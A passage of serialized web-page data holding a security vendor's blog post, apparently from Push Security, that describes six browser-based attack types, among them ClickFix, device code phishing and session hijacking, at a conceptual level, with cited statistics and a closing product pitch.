example",{"url":2108,"width":1930,"height":2109},"https:\u002F\u002Fimages.ctfassets.net\u002Fy1cdw1ablpvd\u002F6OAUICNN0ODZwC9bQzqQZh\u002Fc0abeb25b156cb5340379f66d3c8b6c4\u002Fimage6.png",548,{"sys":2111,"__typename":1926,"title":2112,"caption":60,"layoutMode":60,"file":2113},{"id":1561},"TURNTIP example",{"url":2114,"width":1930,"height":2115},"https:\u002F\u002Fimages.ctfassets.net\u002Fy1cdw1ablpvd\u002F7KDu0IsvfvhgtNtPHhLQ8F\u002Fd426b000471763514668bd13b010a35f\u002Fimage8.png",565,"json",{"items":2118},[],{},"The numbers behind ClickFix attacks in H2 2026","threat-research","2026-09-23T00:00:00.000Z",{"items":2124},[2125,3014,4325],{"__typename":2126,"sys":2127,"content":2129,"title":2996,"synopsis":2997,"hashTags":60,"publishedDate":2998,"slug":2999,"tagsCollection":3000,"authorsCollection":3010},"BlogPosts",{"id":2128},"62Zyr35VUmijkpupWk3hoD",{"json":2130},{"nodeType":656,"data":2131,"content":2132},{},[2133,2150,2157,2160,2168,2175,2182,2214,2220,2227,2234,2241,2244,2252,2259,2262,2270,2277,2283,2290,2296,2316,2323,2330,2337,2343,2346,2354,2361,2367,2398,2405,2421,2440,2447,2453,2456,2464,2483,2490,2513,2545,2580,2587,2593,2596,2604,2611,2617,2636,2643,2671,2702,2708,2711,2719,2726,2732,2751,2758,2806,2844,2851,2857,2860,2868,2875,2882,2908,2927,2933,2936,2944,2963,2970,2977],{"nodeType":670,"data":2134,"content":2135},{},[2136,2140,2146],{"nodeType":503,"value":2137,"marks":2138,"data":2139},"The view that \"the browser is the new endpoint\" and \"the new battleground for cyber attacks\" is becoming increasingly advocated by security leaders. But what does this ",[],{},{"nodeType":503,"value":2141,"marks":2142,"data":2145},"actually",[2143],{"type":2144},"italic",{},{"nodeType":503,"value":2147,"marks":2148,"data":2149}," mean for security teams? ",[],{},{"nodeType":670,"data":2151,"content":2152},{},[2153],{"nodeType":503,"value":2154,"marks":2155,"data":2156},"In this article, we’re cutting out the jargon to explore what a browser-based attack is, and what’s required for effective detection and response. ",[],{},{"nodeType":730,"data":2158,"content":2159},{},[],{"nodeType":660,"data":2161,"content":2162},{},[2163],{"nodeType":503,"value":2164,"marks":2165,"data":2167},"What is the goal of a browser-based attack?   ",[2166],{"type":667},{},{"nodeType":670,"data":2169,"content":2170},{},[2171],{"nodeType":503,"value":2172,"marks":2173,"data":2174},"First, it’s important to establish what the point of a browser-based attack is.",[],{},{"nodeType":670,"data":2176,"content":2177},{},[2178],{"nodeType":503,"value":2179,"marks":2180,"data":2181},"In most scenarios, attackers don’t think of themselves as attacking your web browser. Their end-goal is to compromise your business apps and data. That means going after the third-party apps and services that are now the backbone of business IT — and therefore the top target for attackers. ",[],{},{"nodeType":670,"data":2183,"content":2184},{},[2185,2189,2198,2202,2210],{"nodeType":503,"value":2186,"marks":2187,"data":2188},"The most common attack path today sees attackers log into third-party services, dump the data, and monetize it through extortion. You need only look at last year’s ",[],{},{"nodeType":795,"data":2190,"content":2192},{"uri":2191},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002Fsnowflake-retro",[2193],{"nodeType":503,"value":2194,"marks":2195,"data":2197},"Snowflake",[2196],{"type":803},{},{"nodeType":503,"value":2199,"marks":2200,"data":2201}," customer breaches that impacted 165+ organizations, or the still-ongoing ",[],{},{"nodeType":795,"data":2203,"content":2205},{"uri":2204},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002Fanalyzing-the-instructure-breach",[2206],{"nodeType":503,"value":2207,"marks":2208,"data":2209},"Salesforce attacks",[],{},{"nodeType":503,"value":2211,"marks":2212,"data":2213}," to see the scale of the problem. Identity weaknesses played a material role in almost 90% of Unit 42's investigations, and Google\u002FMandiant reported that identity issues were the initial access vector in 83% of cloud-related incidents.",[],{},{"nodeType":714,"data":2215,"content":2219},{"target":2216},{"sys":2217},{"id":2218,"type":719,"linkType":720},"5agrVXzEdwALmew2F5SPDp",[],{"nodeType":670,"data":2221,"content":2222},{},[2223],{"nodeType":503,"value":2224,"marks":2225,"data":2226},"The most logical way to do this is by targeting users of those apps. And because of the changes to working practices, your users are more accessible than ever to external attackers.",[],{},{"nodeType":670,"data":2228,"content":2229},{},[2230],{"nodeType":503,"value":2231,"marks":2232,"data":2233},"Once upon a time, email was the primary communication channel with the wider world, and work happened locally — on your device, and inside your locked-down network environment. This made email and the endpoint the highest priority from a security perspective. But now, with modern work happening across a network of decentralized internet apps, and more varied communication channels outside of email, it’s harder to stop users from interacting with malicious content (at least, without significantly impeding their ability to do their jobs).",[],{},{"nodeType":670,"data":2235,"content":2236},{},[2237],{"nodeType":503,"value":2238,"marks":2239,"data":2240},"Given that the browser is the place where business apps are accessed and used, it makes sense that attacks are increasingly playing out there too. ",[],{},{"nodeType":730,"data":2242,"content":2243},{},[],{"nodeType":660,"data":2245,"content":2246},{},[2247],{"nodeType":503,"value":2248,"marks":2249,"data":2251},"The 6 key browser-based attacks that security teams need to know about",[2250],{"type":667},{},{"nodeType":670,"data":2253,"content":2254},{},[2255],{"nodeType":503,"value":2256,"marks":2257,"data":2258},"Here's our breakdown of the top 6 browser-based attacks that should be on every security team's radar right now. Check out the videos for 101 explainers!",[],{},{"nodeType":730,"data":2260,"content":2261},{},[],{"nodeType":734,"data":2263,"content":2264},{},[2265],{"nodeType":503,"value":2266,"marks":2267,"data":2269},"1. Phishing for credentials and sessions",[2268],{"type":667},{},{"nodeType":670,"data":2271,"content":2272},{},[2273],{"nodeType":503,"value":2274,"marks":2275,"data":2276},"The most direct way for an attacker to compromise a business application is to phish a user of that app. You might not necessarily think of phishing as a browser-based attack, but that’s exactly what it is today. ",[],{},{"nodeType":714,"data":2278,"content":2282},{"target":2279},{"sys":2280},{"id":2281,"type":719,"linkType":720},"6wn81JTcqktmJSSFfTzNSc",[],{"nodeType":670,"data":2284,"content":2285},{},[2286],{"nodeType":503,"value":2287,"marks":2288,"data":2289},"Phishing tooling and infrastructure has evolved a lot in the past decade, while the changes to business IT means there are both many more vectors for phishing attack delivery, and apps and identities to target. Attackers can deliver links over instant messenger apps, social media, SMS, malicious ads, and using in-app messenger functionality, as well as sending emails directly from SaaS services to bypass email-based checks. Likewise, there are now hundreds of apps per enterprise to target, with varying levels of account security configuration. ",[],{},{"nodeType":714,"data":2291,"content":2295},{"target":2292},{"sys":2293},{"id":2294,"type":719,"linkType":720},"3SrKOgpedLMQRpKIZqUQur",[],{"nodeType":670,"data":2297,"content":2298},{},[2299,2303,2312],{"nodeType":503,"value":2300,"marks":2301,"data":2302},"Whereas phishing was once entirely focused on credential theft, modern phishing attacks see the attacker intercept the victim’s session on the target app, using reverse-proxy Attacker-in-the-Middle kits that are the standard choice for attackers today. This means most forms of MFA can be bypassed, with the exception of passkeys (though attackers are finding ways to work around passkeys using ",[],{},{"nodeType":795,"data":2304,"content":2306},{"uri":2305},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002Fmfa-downgrade-attacks\u002F",[2307],{"nodeType":503,"value":2308,"marks":2309,"data":2311},"downgrade attacks",[2310],{"type":803},{},{"nodeType":503,"value":2313,"marks":2314,"data":2315},"). ",[],{},{"nodeType":670,"data":2317,"content":2318},{},[2319],{"nodeType":503,"value":2320,"marks":2321,"data":2322},"There are other key differences to be aware of too. Today, phishing operates on an industrial scale, using an array of obfuscation and detection evasion techniques. The latest generation of fully customized AitM phishing kits are dynamically obfuscating the code that loads the web page, implementing custom bot protection (e.g. CAPTCHA or Cloudflare Turnstile), using runtime anti-analysis features, and using legitimate SaaS and cloud services to host and deliver phishing links to cover their tracks.",[],{},{"nodeType":670,"data":2324,"content":2325},{},[2326],{"nodeType":503,"value":2327,"marks":2328,"data":2329},"This means that traditional anti-phishing tools at the email and network layer are struggling to keep up, with many attacks evading email-based detections (or bypassing email altogether). At the same time, proxy-based solutions now see a garbled mess of JavaScript code without the necessary context of what is actually happening in the browser to be able to piece it together effectively. Even if they don’t realize it, this means many organizations are now relying solely on blocking known-bad sites and hosts — a wildly ineffective solution with the rate that attackers refresh and rotate their phishing infrastructure. ",[],{},{"nodeType":670,"data":2331,"content":2332},{},[2333],{"nodeType":503,"value":2334,"marks":2335,"data":2336},"These changes make phishing more effective than ever, and increasingly difficult to detect and block without being able to observe and analyze web pages that a user interacts with in real time — something only possible with browser-level visibility. ",[],{},{"nodeType":714,"data":2338,"content":2342},{"target":2339},{"sys":2340},{"id":2341,"type":719,"linkType":720},"NHu0Q6ac9mLOPPMoswB8B",[],{"nodeType":730,"data":2344,"content":2345},{},[],{"nodeType":734,"data":2347,"content":2348},{},[2349],{"nodeType":503,"value":2350,"marks":2351,"data":2353},"2. Malicious copy and paste (aka. ClickFix, FileFix, etc.)",[2352],{"type":667},{},{"nodeType":670,"data":2355,"content":2356},{},[2357],{"nodeType":503,"value":2358,"marks":2359,"data":2360},"Since late 2024, attackers have been tricking users into performing malicious actions under the pretext of \"fixing\" an issue for a webpage to load. The most common scenarios relate to \"verifying that you are human,\" styled as a version of the bot protection challenges we're all used to encountering on the internet today. ",[],{},{"nodeType":714,"data":2362,"content":2366},{"target":2363},{"sys":2364},{"id":2365,"type":719,"linkType":720},"4Tp6KL7yz8CdxdKu5ieWMt",[],{"nodeType":670,"data":2368,"content":2369},{},[2370,2374,2382,2386,2394],{"nodeType":503,"value":2371,"marks":2372,"data":2373},"Microsoft's Digital Defense Report identified ClickFix as the ",[],{},{"nodeType":795,"data":2375,"content":2377},{"uri":2376},"https:\u002F\u002Fcdn-dynmedia-1.microsoft.com\u002Fis\u002Fcontent\u002Fmicrosoftcorp\u002Fmicrosoft\u002Fmsc\u002Fdocuments\u002Fpresentations\u002FCSR\u002FMicrosoft-Digital-Defense-Report-2025.pdf",[2378],{"nodeType":503,"value":2379,"marks":2380,"data":2381},"most common initial access vector, accounting for 47% of observed attacks",[],{},{"nodeType":503,"value":2383,"marks":2384,"data":2385},". CrowdStrike recorded a ",[],{},{"nodeType":795,"data":2387,"content":2389},{"uri":2388},"https:\u002F\u002Fwww.crowdstrike.com\u002Fexplore\u002F2026-global-threat-report",[2390],{"nodeType":503,"value":2391,"marks":2392,"data":2393},"563% increase in fake CAPTCHA ClickFix lures",[],{},{"nodeType":503,"value":2395,"marks":2396,"data":2397},". Push's own detection data tells a similar story: ClickFix made up an average of 52% of detections through Q2 2026, surpassing all other browser-based attack categories for the first time.",[],{},{"nodeType":670,"data":2399,"content":2400},{},[2401],{"nodeType":503,"value":2402,"marks":2403,"data":2404},"Traditional ClickFix-style attacks are a hybrid of browser and endpoint targeting. While delivered via the browser, the user copies and runs malicious scripts on their endpoint, targeting a wide range of legitimate, pre-installed system tools that allow commands to be run (Living Off the Land Binaries, or LOLBins). This results in the user installing malicious software on their machine — typically Remote Access Tools (RATs) and infostealer malware.",[],{},{"nodeType":670,"data":2406,"content":2407},{},[2408,2412,2417],{"nodeType":503,"value":2409,"marks":2410,"data":2411},"Notably, ClickFix remains a trap that users fall into rather than something they're targeted with directly. ",[],{},{"nodeType":503,"value":2413,"marks":2414,"data":2416},"4 in 5 ClickFix payloads intercepted by Push are accessed from search engines",[2415],{"type":667},{},{"nodeType":503,"value":2418,"marks":2419,"data":2420}," — the result of compromised sites, malvertising, and SEO poisoning. This naturally means they completely bypass email-based security controls. ",[],{},{"nodeType":670,"data":2422,"content":2423},{},[2424,2428,2436],{"nodeType":503,"value":2425,"marks":2426,"data":2427},"ClickFix continues to spawn new tools and sub-techniques. ClickFix-as-a-Service platforms are achieving 60% victim conversion rates. Payloads are highly variable, with Push capturing 84 distinct command forms targeting 16+ different system binaries. EtherHiding — storing kit configuration on public blockchains — means there's no host to take down and no domain to block. Attackers are also using shared conversations on AI chatbot platforms like ",[],{},{"nodeType":795,"data":2429,"content":2431},{"uri":2430},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002Fllmshare-malvertising-campaign\u002F",[2432],{"nodeType":503,"value":2433,"marks":2434,"data":2435},"ChatGPT and Claude to deliver malware",[],{},{"nodeType":503,"value":2437,"marks":2438,"data":2439}," via pages hosted on trusted, legitimate domains.",[],{},{"nodeType":670,"data":2441,"content":2442},{},[2443],{"nodeType":503,"value":2444,"marks":2445,"data":2446},"These varied delivery mechanisms and payloads make ClickFix tricky for traditional security tools to detect in real time. However, every ClickFix attack and variant happens in the browser with a malicious copy and paste event, which is where browser-based tools like Push have a great opportunity to intercept them.",[],{},{"nodeType":714,"data":2448,"content":2452},{"target":2449},{"sys":2450},{"id":2451,"type":719,"linkType":720},"29Y7nRr39TiUyvAwinYctG",[],{"nodeType":730,"data":2454,"content":2455},{},[],{"nodeType":734,"data":2457,"content":2458},{},[2459],{"nodeType":503,"value":2460,"marks":2461,"data":2463},"3. Authorization phishing",[2462],{"type":667},{},{"nodeType":670,"data":2465,"content":2466},{},[2467,2471,2479],{"nodeType":503,"value":2468,"marks":2469,"data":2470},"While AiTM phishing targets the login — the moment a user proves their identity — a growing class of attacks targets what happens after the login. Instead of stealing a session from the authentication flow, ",[],{},{"nodeType":795,"data":2472,"content":2474},{"uri":2473},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002Fauthorization-phishing",[2475],{"nodeType":503,"value":2476,"marks":2477,"data":2478},"authorization phishing",[],{},{"nodeType":503,"value":2480,"marks":2481,"data":2482}," abuses OAuth authorization mechanisms — consent grants, device code flows, and token exchanges — to obtain access tokens. The attacker never touches the authentication flow at all, which means every form of MFA, including phishing-resistant passkeys, is irrelevant.",[],{},{"nodeType":670,"data":2484,"content":2485},{},[2486],{"nodeType":503,"value":2487,"marks":2488,"data":2489},"Three techniques currently fall under the authorization phishing umbrella:",[],{},{"nodeType":670,"data":2491,"content":2492},{},[2493,2497,2501,2509],{"nodeType":503,"value":265,"marks":2494,"data":2496},[2495],{"type":667},{},{"nodeType":503,"value":2498,"marks":2499,"data":2500}," sees the victim authorize a third-party app via an OAuth consent grant. This can be an app the attacker has created, or a legitimate SaaS app tenant — you can simply sign up for an account and ",[],{},{"nodeType":795,"data":2502,"content":2504},{"uri":2503},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002Fopenai-poisoned-tenant-attack",[2505],{"nodeType":503,"value":2506,"marks":2507,"data":2508},"invite targets to your app tenant",[],{},{"nodeType":503,"value":2510,"marks":2511,"data":2512},". Identity providers have substantially hardened their defaults against consent phishing (Microsoft now blocks unverified third-party app consent by default, for example), which is why attackers have increasingly shifted to the next two techniques.",[],{},{"nodeType":670,"data":2514,"content":2515},{},[2516,2520,2524,2532,2536,2541],{"nodeType":503,"value":260,"marks":2517,"data":2519},[2518],{"type":667},{},{"nodeType":503,"value":2521,"marks":2522,"data":2523}," targets a different OAuth flow entirely: the RFC 8628 device authorization grant, originally designed for input-constrained devices like smart TVs. The attacker generates a code, delivers it to the victim via a phishing page, and the victim enters the code on the real identity provider's device login page. Push has tracked a ",[],{},{"nodeType":795,"data":2525,"content":2527},{"uri":2526},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002Fdevice-code-phishing",[2528],{"nodeType":503,"value":2529,"marks":2530,"data":2531},"37.5x increase in device code phishing attacks",[],{},{"nodeType":503,"value":2533,"marks":2534,"data":2535}," in 2026, with ",[],{},{"nodeType":503,"value":2537,"marks":2538,"data":2540},"30+ distinct kits",[2539],{"type":667},{},{"nodeType":503,"value":2542,"marks":2543,"data":2544}," now offering the technique. Because device code phishing targets apps already consented in the user's tenant (usually first-party Microsoft apps), it sidesteps the consent restrictions that shut down traditional consent phishing.",[],{},{"nodeType":670,"data":2546,"content":2547},{},[2548,2552,2556,2564,2568,2576],{"nodeType":503,"value":1739,"marks":2549,"data":2551},[2550],{"type":667},{},{"nodeType":503,"value":2553,"marks":2554,"data":2555}," occupies a middle ground — a ClickFix-OAuth hybrid that targets the standard authorization code grant flow rather than the device code flow. ",[],{},{"nodeType":795,"data":2557,"content":2559},{"uri":2558},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002Fconsentfix\u002F",[2560],{"nodeType":503,"value":2561,"marks":2562,"data":2563},"First observed in Russian APT29 campaigns",[],{},{"nodeType":503,"value":2565,"marks":2566,"data":2567},", it has since been ",[],{},{"nodeType":795,"data":2569,"content":2571},{"uri":2570},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002Fconsentfix-v3-analyzing-a-new-toolkit\u002F",[2572],{"nodeType":503,"value":2573,"marks":2574,"data":2575},"commoditized into criminal tooling",[],{},{"nodeType":503,"value":2577,"marks":2578,"data":2579},".",[],{},{"nodeType":670,"data":2581,"content":2582},{},[2583],{"nodeType":503,"value":2584,"marks":2585,"data":2586},"Preventing malicious OAuth grants requires tight in-app management of user permissions and tenant security settings across every app in the estate. Conditional access policies help, but their effectiveness varies significantly by technique — \"require compliant device\" blocks device code phishing but not ConsentFix, while \"block device code flow\" breaks legitimate use cases like Azure CLI and conference room hardware. Browser-based security tools are well positioned to observe OAuth grants across all apps accessed in the browser — even the ones the security team doesn't manage or know about.",[],{},{"nodeType":714,"data":2588,"content":2592},{"target":2589},{"sys":2590},{"id":2591,"type":719,"linkType":720},"1Fxgll8d4vVwtkGdwIAgkm",[],{"nodeType":730,"data":2594,"content":2595},{},[],{"nodeType":734,"data":2597,"content":2598},{},[2599],{"nodeType":503,"value":2600,"marks":2601,"data":2603},"4. Malicious browser extensions",[2602],{"type":667},{},{"nodeType":670,"data":2605,"content":2606},{},[2607],{"nodeType":503,"value":2608,"marks":2609,"data":2610},"Attackers use malicious extensions to steal data, log keystrokes, and intercept credentials and tokens as they transit the browser. ",[],{},{"nodeType":714,"data":2612,"content":2616},{"target":2613},{"sys":2614},{"id":2615,"type":719,"linkType":720},"5fuigCAUuHxP49KjWgP8SO",[],{"nodeType":670,"data":2618,"content":2619},{},[2620,2624,2632],{"nodeType":503,"value":2621,"marks":2622,"data":2623},"Most malicious extensions didn't start that way — attackers begin with a legitimate extension and bide their time, waiting until install counts reach maximum impact before deploying a malicious update. It's ",[],{},{"nodeType":795,"data":2625,"content":2627},{"uri":2626},"https:\u002F\u002Fsecureannex.com\u002Fblog\u002Fbuying-browser-extensions\u002F",[2628],{"nodeType":503,"value":2629,"marks":2630,"data":2631},"very easy for attackers to buy and add malicious updates",[],{},{"nodeType":503,"value":2633,"marks":2634,"data":2635}," to existing extensions, easily passing extension web store security checks.",[],{},{"nodeType":670,"data":2637,"content":2638},{},[2639],{"nodeType":503,"value":2640,"marks":2641,"data":2642},"There are four common entry paths: phish the developer of a popular extension; offer to buy a widely-installed extension outright; vibe-code your own extension and market it to users; or upload a malicious version and let user browsers auto-update on next launch.",[],{},{"nodeType":670,"data":2644,"content":2645},{},[2646,2650,2655,2659,2667],{"nodeType":503,"value":2647,"marks":2648,"data":2649},"Permissions alone don't indicate risk, since nearly every extension has exploitable ones — ",[],{},{"nodeType":503,"value":2651,"marks":2652,"data":2654},"46.76% of extensions across Push customers have the permission combinations needed for account takeover with no user interaction",[2653],{"type":667},{},{"nodeType":503,"value":2656,"marks":2657,"data":2658},". The most dangerous let attackers intercept sensitive data, credentials, and session tokens in transit. Malicious extensions routinely evade static and sandbox analysis via dynamically compiled, smuggled code, letting them reach official stores and even earn \"Featured\" or \"Verified\" status. AI browser extensions add a further dimension: the ",[],{},{"nodeType":795,"data":2660,"content":2662},{"uri":2661},"https:\u002F\u002Fwww.verizon.com\u002Fbusiness\u002Fresources\u002Freports\u002Fdbir\u002F",[2663],{"nodeType":503,"value":2664,"marks":2665,"data":2666},"Verizon DBIR 2026",[],{},{"nodeType":503,"value":2668,"marks":2669,"data":2670}," found that more than 15% of corporate users had unauthorized AI browser extensions installed — extensions that collect and retain browsing context from internal sites, creating a data exfiltration pathway that operates independently of traditional DLP controls.",[],{},{"nodeType":670,"data":2672,"content":2673},{},[2674,2678,2686,2690,2698],{"nodeType":503,"value":2675,"marks":2676,"data":2677},"Generally, your employees should not be randomly installing browser extensions unless pre-approved by your security team. But the reality is that many organizations have very little visibility of the extensions their employees are using, and the potential risk they're exposed to as a result. Static risk scoring is a ",[],{},{"nodeType":795,"data":2679,"content":2681},{"uri":2680},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002Fwhy-browser-extension-risk-scoring-wont-predict-your-next-breach\u002F",[2682],{"nodeType":503,"value":2683,"marks":2684,"data":2685},"poor predictor of supply chain compromise",[],{},{"nodeType":503,"value":2687,"marks":2688,"data":2689}," — every major breach of the past 18 months involved extensions that scored as low-risk beforehand. A default-deny approach with ",[],{},{"nodeType":795,"data":2691,"content":2693},{"uri":2692},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002Fbrowser-extension-management-guide\u002F",[2694],{"nodeType":503,"value":2695,"marks":2696,"data":2697},"allowlisting plus monitoring for change events",[],{},{"nodeType":503,"value":2699,"marks":2700,"data":2701}," is more effective than risk-score-based removal.",[],{},{"nodeType":714,"data":2703,"content":2707},{"target":2704},{"sys":2705},{"id":2706,"type":719,"linkType":720},"6WRUfE4LepAQ35hRz2UlH1",[],{"nodeType":730,"data":2709,"content":2710},{},[],{"nodeType":734,"data":2712,"content":2713},{},[2714],{"nodeType":503,"value":2715,"marks":2716,"data":2718},"5. Credential stuffing and ghost logins",[2717],{"type":667},{},{"nodeType":670,"data":2720,"content":2721},{},[2722],{"nodeType":503,"value":2723,"marks":2724,"data":2725},"Password-based compromise remains one of the leading causes of breaches. This might surprise you if you think that SSO solved credential attacks. ",[],{},{"nodeType":714,"data":2727,"content":2731},{"target":2728},{"sys":2729},{"id":2730,"type":719,"linkType":720},"5RJyr7JbVhUnccMIMsGtnE",[],{"nodeType":670,"data":2733,"content":2734},{},[2735,2739,2747],{"nodeType":503,"value":2736,"marks":2737,"data":2738},"But SSO isn't universal — SAML often costs extra, requires admin setup, and self-adopted apps rarely get configured, while most apps allow simultaneous login methods and don't restrict login methods. The result is ",[],{},{"nodeType":795,"data":2740,"content":2742},{"uri":2741},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002Fhow-many-vulnerable-identities-do-you-have\u002F",[2743],{"nodeType":503,"value":2744,"marks":2745,"data":2746},"ghost logins",[],{},{"nodeType":503,"value":2748,"marks":2749,"data":2750},": backup credentials outside SSO, invisible to IdP logs, created at adoption and still active unless disabled — gaps that stay hidden since most orgs focus MFA at the IdP layer, not on local app config, until an attacker finds them.",[],{},{"nodeType":670,"data":2752,"content":2753},{},[2754],{"nodeType":503,"value":2755,"marks":2756,"data":2757},"The data supports this. Of the last million logins observed by Push:",[],{},{"nodeType":781,"data":2759,"content":2760},{},[2761,2776,2791],{"nodeType":785,"data":2762,"content":2763},{},[2764],{"nodeType":670,"data":2765,"content":2766},{},[2767,2772],{"nodeType":503,"value":2768,"marks":2769,"data":2771},"1 in 4",[2770],{"type":667},{},{"nodeType":503,"value":2773,"marks":2774,"data":2775}," were password logins, not SSO",[],{},{"nodeType":785,"data":2777,"content":2778},{},[2779],{"nodeType":670,"data":2780,"content":2781},{},[2782,2787],{"nodeType":503,"value":2783,"marks":2784,"data":2786},"2 in 5",[2785],{"type":667},{},{"nodeType":503,"value":2788,"marks":2789,"data":2790}," were not protected by MFA",[],{},{"nodeType":785,"data":2792,"content":2793},{},[2794],{"nodeType":670,"data":2795,"content":2796},{},[2797,2802],{"nodeType":503,"value":2798,"marks":2799,"data":2801},"1 in 5",[2800],{"type":667},{},{"nodeType":503,"value":2803,"marks":2804,"data":2805}," used a weak, breached, or reused password",[],{},{"nodeType":670,"data":2807,"content":2808},{},[2809,2813,2821,2825,2830,2834,2840],{"nodeType":503,"value":2810,"marks":2811,"data":2812},"And the external sources also paint this picture. ",[],{},{"nodeType":795,"data":2814,"content":2816},{"uri":2815},"https:\u002F\u002Fcf-assets.www.cloudflare.com\u002Fslt3lc6tev37\u002FsWDBUMNVtEJB9ZFLt1dUU\u002F8d69e92de2edfb3bf59e7d21d57e7e1a\u002FCloudflare-2026-threat-report.pdf",[2817],{"nodeType":503,"value":2818,"marks":2819,"data":2820},"Cloudflare's 2026 Threat Report",[],{},{"nodeType":503,"value":2822,"marks":2823,"data":2824}," found that ",[],{},{"nodeType":503,"value":2826,"marks":2827,"data":2829},"63% of all human logins involve credentials already compromised elsewhere",[2828],{"type":667},{},{"nodeType":503,"value":2831,"marks":2832,"data":2833},". And the ",[],{},{"nodeType":795,"data":2835,"content":2836},{"uri":2661},[2837],{"nodeType":503,"value":2664,"marks":2838,"data":2839},[],{},{"nodeType":503,"value":2841,"marks":2842,"data":2843}," found that 50% of ransomware victims had a credential or infostealer event within 95 days prior to the attack, with infostealers surfacing an average of 2,362 breached corporate credentials per month from organizational email domains.",[],{},{"nodeType":670,"data":2845,"content":2846},{},[2847],{"nodeType":503,"value":2848,"marks":2849,"data":2850},"Logins can be observed in the browser — in fact, it's as close to a universal source of truth as you're going to get about how your employees are actually logging in, which apps they're using, and whether MFA is present, enabling security teams to find and fix vulnerable logins before they can be exploited.",[],{},{"nodeType":714,"data":2852,"content":2856},{"target":2853},{"sys":2854},{"id":2855,"type":719,"linkType":720},"1tX9gSZ51VEmXjRliTXuPV",[],{"nodeType":730,"data":2858,"content":2859},{},[],{"nodeType":734,"data":2861,"content":2862},{},[2863],{"nodeType":503,"value":2864,"marks":2865,"data":2867},"6. Session hijacking",[2866],{"type":667},{},{"nodeType":670,"data":2869,"content":2870},{},[2871],{"nodeType":503,"value":2872,"marks":2873,"data":2874},"Session hijacking (aka token replay) allows attackers to bypass the authentication process by taking an already-approved session token that they've stolen from the victim's device or browser, and reusing it in their own browser. This enables them to get around even phishing-resistant authentication controls like passkeys.",[],{},{"nodeType":670,"data":2876,"content":2877},{},[2878],{"nodeType":503,"value":2879,"marks":2880,"data":2881},"This is different to AiTM attacks, which see a new session created via the attacker's reverse-proxy connection to the target app. Sessions can be stolen using a variety of methods, some of which we've already discussed. Malicious browser extensions can extract them from webpages visited by the user, for example. But the most prominent source of stolen tokens is infostealer malware — also the leading source of stolen credentials powering credential stuffing attacks.",[],{},{"nodeType":670,"data":2883,"content":2884},{},[2885,2889,2896,2899,2904],{"nodeType":503,"value":2886,"marks":2887,"data":2888},"As mentioned previously, ClickFix is now the go-to method for delivering malware like infostealers. ClickFix is more detection-resistant than a normal file download, which is more likely to be intercepted and analyzed by controls like a web sandbox before hitting the endpoint and more likely to trigger endpoint alarms during execution. The problem extends beyond managed corporate machines, too: the ",[],{},{"nodeType":795,"data":2890,"content":2891},{"uri":2661},[2892],{"nodeType":503,"value":2893,"marks":2894,"data":2895},"Verizon DBIR 2025",[],{},{"nodeType":503,"value":2822,"marks":2897,"data":2898},[],{},{"nodeType":503,"value":2900,"marks":2901,"data":2903},"46% of infostealer infections that lead to corporate breaches originate on non-managed devices",[2902],{"type":667},{},{"nodeType":503,"value":2905,"marks":2906,"data":2907}," — personal machines, developer workstations, and contractor laptops where EDR is absent.",[],{},{"nodeType":670,"data":2909,"content":2910},{},[2911,2915,2923],{"nodeType":503,"value":2912,"marks":2913,"data":2914},"There's also a less obvious path for session theft. ",[],{},{"nodeType":795,"data":2916,"content":2918},{"uri":2917},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002Fbrowser-sync-attacks-where-personal-account-hacks-lead-to-corporate-breaches\u002F",[2919],{"nodeType":503,"value":2920,"marks":2921,"data":2922},"Browser sync features",[],{},{"nodeType":503,"value":2924,"marks":2925,"data":2926}," create a bridge between personal and corporate credential stores, meaning personal account or device compromises can directly lead to corporate breaches — as demonstrated in the Okta incident below, where corporate credentials had been synced to an engineer's personal Google account via Chrome profile sync.",[],{},{"nodeType":714,"data":2928,"content":2932},{"target":2929},{"sys":2930},{"id":2931,"type":719,"linkType":720},"51WVinSAV5wN7mVny7v9QC",[],{"nodeType":730,"data":2934,"content":2935},{},[],{"nodeType":660,"data":2937,"content":2938},{},[2939],{"nodeType":503,"value":2940,"marks":2941,"data":2943},"Conclusion",[2942],{"type":667},{},{"nodeType":670,"data":2945,"content":2946},{},[2947,2951,2959],{"nodeType":503,"value":2948,"marks":2949,"data":2950},"Attacks are increasingly happening in the browser. That makes it the perfect place to detect and respond to these attacks. But right now, the browser is a blind-spot for most security teams — ",[],{},{"nodeType":795,"data":2952,"content":2954},{"uri":2953},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002F7-things-omdias-latest-report-tells-us-about-the-secure-enterprise-browser-market",[2955],{"nodeType":503,"value":2956,"marks":2957,"data":2958},"according to Omdia",[],{},{"nodeType":503,"value":2960,"marks":2961,"data":2962},", 49% of organizations suffered a successful browser-based attack in the last 12 months, and browser security is now a top-five priority for 88% of organizations. ",[],{},{"nodeType":670,"data":2964,"content":2965},{},[2966],{"nodeType":503,"value":2967,"marks":2968,"data":2969},"Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.",[],{},{"nodeType":670,"data":2971,"content":2972},{},[2973],{"nodeType":503,"value":2974,"marks":2975,"data":2976},"Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can't see.",[],{},{"nodeType":670,"data":2978,"content":2979},{},[2980,2984,2993],{"nodeType":503,"value":2981,"marks":2982,"data":2983},"If you want to learn more about how Push helps you to detect and stop attacks in the browser, ",[],{},{"nodeType":795,"data":2985,"content":2987},{"uri":2986},"https:\u002F\u002Fpushsecurity.com\u002Fdemo",[2988],{"nodeType":503,"value":2989,"marks":2990,"data":2992},"book some time with one of our team for a live demo",[2991],{"type":803},{},{"nodeType":503,"value":2577,"marks":2994,"data":2995},[],{},"6 browser-based attacks every security team should be prepared for","What security teams need to know about the browser-based attack techniques that are the leading cause of 